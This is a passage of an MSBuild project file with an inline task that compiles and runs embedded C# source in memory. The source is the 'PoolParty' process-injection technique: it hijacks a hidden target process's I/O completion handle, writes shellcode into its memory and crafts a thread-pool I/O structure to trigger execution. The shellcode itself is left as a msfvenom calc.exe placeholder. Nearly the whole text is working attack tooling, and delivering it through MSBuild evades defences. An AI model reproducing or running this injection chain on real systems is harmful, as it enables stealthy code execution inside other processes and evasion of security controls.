public static extern unsafe bool DuplicateHandle(IntPtr hSourceProcHandle, IntPtr hSourceHandle, IntPtr hTargetProcHandle, ref IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, DUPLICATE_HANDLE_OPTIONS dwOptions);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Ansi)]
public static extern unsafe IntPtr CreateFileW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName, uint dwDesiredAccess, FILE_SHARE_MODE dwShareMode, IntPtr lpSecurityAttributes, FILE_CREATION_DISPOSITION dwCreationDisposition, FILE_FLAGS_AND_ATTRIBUTES dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
public static extern unsafe IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Ansi)]
public static extern unsafe IntPtr CreateThreadpoolIo(IntPtr hFile, TP_WIN32_IO_CALLBACK* pInfo, IntPtr pContext, IntPtr pCallbackEnviron);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
public static extern unsafe bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport(""ntdll.dll"", ExactSpelling = true, SetLastError = true)]
public static extern unsafe uint NtSetInformationFile(IntPtr hFile, IO_STATUS_BLOCK* IoStatusBlock, FILE_COMPLETION_INFORMATION* FileInformation, ulong Length, FILE_INFORMATION_CLASS FileInformationClass);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
public static extern unsafe bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint dwNumberOfBytesToWrite, out IntPtr lpNumberOfBytesWritten, ref NativeOverlapped lpOverlapped);
[DllImport(""msvcrt.dll"", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr realloc(IntPtr ptr, ulong size);
[DllImport(""kernel32.dll"")]
public static extern IntPtr GetCurrentProcess();
[DllImport(""ntdll.dll"", ExactSpelling = true)]
public static extern unsafe uint NtQueryObject(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass, IntPtr objectInfo, ulong objectInfoLen, ref ulong retLen);
[DllImport(""kernel32.dll"", SetLastError = true, CharSet = CharSet.Ansi)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport(""kernel32.dll"")]
public static extern void Sleep(uint dwMilliseconds);
public static unsafe IntPtr NtQueryObjectImpl(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass)
{
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = 0xC0000004;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryObject(handle, objInfoClass, info, infoLen, ref infoLen);
} while (0xC0000004 == ntStatus);
return info;
}
[HandleProcessCorruptedStateExceptions]
public static unsafe PROCESS_HANDLE_SNAPSHOT_INFORMATION GetProcessHandleSnapshotInformation(IntPtr info)
{
_PROCESS_HANDLE_SNAPSHOT_INFORMATION* snapshotInfoPtr = (_PROCESS_HANDLE_SNAPSHOT_INFORMATION*)info;
int handlesSize = (int)snapshotInfoPtr->NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO);
if (handlesSize >= Int32.MaxValue | handlesSize <= 0)
{
Console.WriteLine(""[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking.."");
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION();
}
PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize];
for (int i = 0; i < handlesSize; i++)
{
IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]);
try
{
handles[i] = Marshal.PtrToStructure<PROCESS_HANDLE_TABLE_ENTRY_INFO>(handlePtr);
}
catch (Exception e)
{
handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO();
}
}
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
NumberOfHandles = snapshotInfoPtr->NumberOfHandles,
Reserved = snapshotInfoPtr->Reserved,
Handles = handles
};
}
public static unsafe IntPtr HijackIOCompletionHandle(IntPtr tProcHandle)
{
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = 0xC0000004;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen);
} while (0xC0000004 == ntStatus);
PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info);
for (int i = 0; i < procHandleInfo.Handles.Length; i++)
{
IntPtr duplicatedObject = IntPtr.Zero;
PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i];
IntPtr procHandleValue = procHandleTable.HandleValue;
bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero);
if (!duped)
{
int error = Marshal.GetLastWin32Error();
continue;
}
IntPtr pObjectInfo = IntPtr.Zero;
pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation);
_PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo;
if (!""IoCompletion"".Equals(pObjTypeInfo->TypeName.ToString()))
{
continue;
}
else
{
Console.WriteLine(""[+] Found the 'IoCompletion' type for the target process!"");
}
return duplicatedObject;
}
return IntPtr.Zero;
}
public static int CreateTargetProcess(string name)
{
Console.WriteLine(""[*] DEBUG - Creating target process ("" + name + "")"");
STARTUPINFO si = new STARTUPINFO();
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, name, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi);
if (res)
{
Console.WriteLine(""[*] DEBUG - Process created with PID = {0:d}"", pi.dwProcessId);
return pi.dwProcessId;
}
else
{
Console.WriteLine(""[*] DEBUG - Failed to create process with error code 0x{0:X16}"", Marshal.GetLastWin32Error());
return -1;
}
}
public static string[] ValidateCandidates()
{
ArrayList candidates = new ArrayList();
foreach (string candidate in CandidatesToCheck)
{
if (File.Exists(candidate))
{
candidates.Add(candidate);
}
}
return (string[])candidates.ToArray(typeof(string));
}
public static string PickCandidate(string[] candidates)
{
Random rnd = new Random();
int rndIdx = rnd.Next(0, candidates.Length);
return candidates[rndIdx];
}
public static string GenerateFN(int len)
{
Random rnd = new Random();
string alpha = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"";
StringBuilder s = new StringBuilder(len);
for (int i = 0; i < len; i++)
{
s.Append(alpha[rnd.Next(alpha.Length)]);
}
return s.ToString();
}
[HandleProcessCorruptedStateExceptions]
public static unsafe void Setup(IntPtr tProcHandle)
{
IntPtr tIoCompletionHandle = HijackIOCompletionHandle(tProcHandle);
if (tIoCompletionHandle == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to get a handle to target proc's worker factory."");
return;
}
Console.WriteLine(""[+] Got handle to target proc's I/O completion queue - (0x{0:X16})"", tIoCompletionHandle.ToInt64());
string fn = GenerateFN(7);
IntPtr hFile = CreateFileW(fn, GENERIC_WRITE, FILE_SHARE_MODE.FILE_SHARE_READ | FILE_SHARE_MODE.FILE_SHARE_WRITE, IntPtr.Zero, FILE_CREATION_DISPOSITION.CREATE_ALWAYS, FILE_FLAGS_AND_ATTRIBUTES.FILE_ATTRIBUTE_NORMAL | FILE_FLAGS_AND_ATTRIBUTES.FILE_FLAG_OVERLAPPED, IntPtr.Zero);
Console.WriteLine(""[+] File created with name = {0:s}"", fn);
byte[] sc = new byte[] {/* msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp */};
uint scSize = (uint)sc.Length;
IntPtr scAddr = VirtualAllocEx(tProcHandle, IntPtr.Zero, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (scAddr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to allocate shellcode memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Allocated shellcode memory - 0x{0:X16}"", scAddr.ToInt64());
}
IntPtr bytesWritten = IntPtr.Zero;
bool writeRes;
fixed (byte* p = sc)
{
IntPtr ptr = (IntPtr)p;
writeRes = WriteProcessMemory(tProcHandle, scAddr, ptr, scSize, out bytesWritten);
}
if (!writeRes)
{
Console.WriteLine(""[-] Failed to write shellcode to allocated memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Shellcode written to allocated memory. bytesWritten = "" + bytesWritten);
}
IntPtr pTpIoPtr = CreateThreadpoolIo(hFile, (TP_WIN32_IO_CALLBACK*)scAddr, IntPtr.Zero, IntPtr.Zero);
FULL_TP_IO* pTpIo = (FULL_TP_IO*)pTpIoPtr;
if (pTpIo == null || pTpIoPtr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to create ThreadPoolIo."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Created thread pool I/O - 0x{0:X16}"", new IntPtr(pTpIo).ToInt64());
}
pTpIo->CleanupGroupMember.callbackUnion.Callback = scAddr;
pTpIo->PendingIrpCount++;
IntPtr pRemoteTpIoPtr = VirtualAllocEx(tProcHandle, IntPtr.Zero, (uint)sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteTpIoPtr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to allocate remote TP_IO."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Allocated memory for remote TP_IO - 0x{0:X16}"", pRemoteTpIoPtr.ToInt64());
}
bytesWritten = IntPtr.Zero;
bool writeTpIoRes = WriteProcessMemory(tProcHandle, pRemoteTpIoPtr, pTpIoPtr, (uint)sizeof(FULL_TP_IO), out bytesWritten);
if (!writeTpIoRes)
{
Console.WriteLine(""[-] Failed to write crafted TP_IO to allocated memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Wrote the crafted TP_IO struct to the allocated memory, bytesWritten = "" + bytesWritten);
}
IO_STATUS_BLOCK IoStatusBlock = new IO_STATUS_BLOCK();
FILE_COMPLETION_INFORMATION FileIoCompletionInformation = new FILE_COMPLETION_INFORMATION() { };
Console.WriteLine(""[*] DEBUG - Crafting FileIoCompletionInformation."");
FileIoCompletionInformation.Port = tIoCompletionHandle;
IntPtr pRemoteTpIoDirect = new IntPtr(pRemoteTpIoPtr.ToInt64() + 0xC8);
FileIoCompletionInformation.Key = pRemoteTpIoDirect;
uint status = NtSetInformationFile(hFile, &IoStatusBlock, &FileIoCompletionInformation, (ulong)sizeof(FILE_COMPLETION_INFORMATION), FILE_INFORMATION_CLASS.FileReplaceCompletionInformation);
if (status == 0)
{
Console.WriteLine(""[+] Associated the created file with I/O Completion Queue of target proc worker factory."");
}
else
{
Console.WriteLine(""[-] Failed to associate the created file with I/O Completion Queue of target proc worker factory."");
Console.WriteLine(""[-] NTSTATUS = 0x{0:X16}"", status);
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
byte[] op = new byte[] { 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef };
int opSize = op.Length;
IntPtr opBytesWritten = IntPtr.Zero;
NativeOverlapped overlapped = new NativeOverlapped();
bool writeDet = WriteFile(hFile, op, (uint)opSize, out opBytesWritten, ref overlapped);
if (!writeDet)
{
int win32Err = Marshal.GetLastWin32Error();
if (win32Err == 0x000003E5)
{
Console.WriteLine(""[+] Async write to file is pending; payload should still detonate."");
} else
{
Console.WriteLine(""[-] Failed to write detonation bytes to file."");
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
} else
{
Console.WriteLine(""[+] Successfully wrote detonation bytes to file. opBytesWritten = "" + opBytesWritten);
}
}
public static void Main()
{
string[] cands = ValidateCandidates();
int pid = CreateTargetProcess(PickCandidate(cands));
Sleep(1000);
uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION);
IntPtr tProcHandle = OpenProcess(targetAccess, false, pid);
if (tProcHandle == IntPtr.Zero)
{
int err = Marshal.GetLastWin32Error();
switch (err)
{
case 5:
Console.WriteLine(""[-] ERROR: Access denied for target process. PoolParty failed."");
break;
default:
Console.WriteLine(""[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55"", err);
break;
}
return;
}
Console.WriteLine(""[+] Got handle to target proc - (0x{0:X16})"", tProcHandle.ToInt64());
Setup(tProcHandle);
}
}
}";
Assembly a = Builder.Build(source);
Type hw = a.GetType("Pool.Party");
MethodInfo main = hw.GetMethod("Main");
main.Invoke(null, null);
return true;
}
}
public class Builder
{
public static Assembly Build(string SourceString)
{
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
parameters.GenerateInMemory = true;
parameters.CompilerOptions = @"/unsafe";
System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters,SourceString);
Assembly a = results.CompiledAssembly;
if(a != null) return a;
else
{
Assembly nullAssembly = Assembly.GetExecutingAssembly();
Console.WriteLine("Null Assembly");
return nullAssembly;
}
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>